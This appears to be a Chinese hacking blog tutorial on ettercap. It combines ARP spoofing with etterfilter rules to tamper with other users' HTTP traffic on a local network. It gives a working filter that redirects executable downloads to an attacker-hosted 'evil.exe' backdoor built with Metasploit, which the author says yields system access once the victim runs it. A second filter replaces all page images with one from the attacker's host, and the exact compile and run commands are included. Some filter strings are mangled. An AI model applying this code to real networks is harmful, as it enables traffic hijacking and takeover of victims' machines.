ettercap是LINUX下一個強大的欺騙工具,當然WINDOWS也能用,你能夠用飛一般的速度創建和發送偽造的包.讓你發送從網絡適配 器到應用軟件各種級別的包.綁定監聽數據到一個本地端口:從一個客戶端連接到這個端口并且能夠為不知道的協議解碼或者把數據插進去(只有在arp為基礎模 式里才能用
下面我們來說說咋吧數據插進去
首先你得有自己個規則,默認的ETTERCAP自帶了幾個
brk@Dis9Team:/usr/share/ettercap$ ls
ettercap.png etterfilter.cnt etterfilter.tbl etter.mime
etter.dns etter.filter.examples etter.finger.mac etter.services
etter.fields etter.filter.kill etter.finger.os etter.ssl.crt
etter.filter etter.filter.ssh etterlog.dtd
brk@Dis9Team:/usr/share/ettercap$在入侵過程種,這些達不到我們想要的,來看這個規則
# replace rmccurdy with your website # replace the url with what ever exe you like if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("keep-alive", "close" ");
replace("Keep-Alive", "close" "); } if (ip.proto == TCP && search(DATA.data, ": application") ){ # enable for logging log(DECODED.data, "/tmp/log.log"); msg("found EXEn"); # "Win32" is the first part of the exe example: # if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc .. if (search(DATA.data, "Win32")) { msg("doing nothingn"); } else { replace("200 OK", "301 Moved Permanently
Location: http://fuzzexp.org/evil.exe
"); msg("redirect successn"); } }他吧80端口請求的數據application(也就是附件) 301重定向成了他自己的EXE程序,這個EXE必須是Win32程序,也就是命令行的。
下面來嘗試一下,用MSF生成個TCP后門,再把 Location: http://fuzzexp.org/evil.exe 改成自己的地址
用etterfilter吧規則文件編譯成ettercap能讀懂的文件,進行欺騙
brk@Dis9Team:/$ etterfilter exe.filter -o exe.ef
brk@Dis9Team:/$ sudo ettercap -T -q -i vboxnet0 -F exe.ef -M ARP // // -P autoadd
模式必須是ARP的,當這個網段的某機子下載某WIN程序的時候,神奇的東西出現了
程序已經被替換成了我們的后門
當他點擊運行的時候,我們獲得了他的系統權限
如果你是一個喜歡惡作劇的人,你還可以看看這個腳本 他吧80端口請求的圖片替換成了本地的
http://www.irongeek.com/i.php?page=security/ettercapfilter
if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("img src=", "img src="http://192.1.1.200/helenda.jpeg" "); replace("IMG SRC=", "img src="http://192.1.1.200/helenda.jpeg" "); msg("Filter Ran.n"); }編譯運行試試
root@Dis9Team:/tmp# etterfilter 1 -o pic.ef
etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA
12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth
11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP
Parsing source file '1' done.
Unfolding the meta-tree done.
Converting labels to real offsets done.
Writing output to 'pic.ef' done.
-> Script encoded into 16 instructions.
root@Dis9Team:/tmp# ettercap -T -q -i vboxnet0 -F pic.ef -M ARP // // -P autoadd ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Content filters loaded from pic.ef… Listening on vboxnet0… (Ethernet) vboxnet0 -> 0A:00:27:00:00:00 192.1.1.200 255.255.255.0運行沒出粗 這樣別人訪問的網頁圖片全部都是你設置的了 網卡的原因我只能本地測試啦
這是正常的 別人訪問后
下一篇:openvas 詳細部署安裝